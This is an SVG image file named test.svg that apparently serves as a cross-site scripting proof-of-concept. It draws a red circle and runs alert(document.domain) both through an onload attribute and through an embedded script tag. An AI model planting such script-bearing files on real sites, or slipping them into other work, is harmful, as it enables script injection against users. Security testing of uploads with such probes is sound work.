test.svg

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" viewBox="0 0 100 100">
  <circle cx="50" cy="50" r="40" fill="red"/>
  <script>alert(document.domain)</script>
</svg>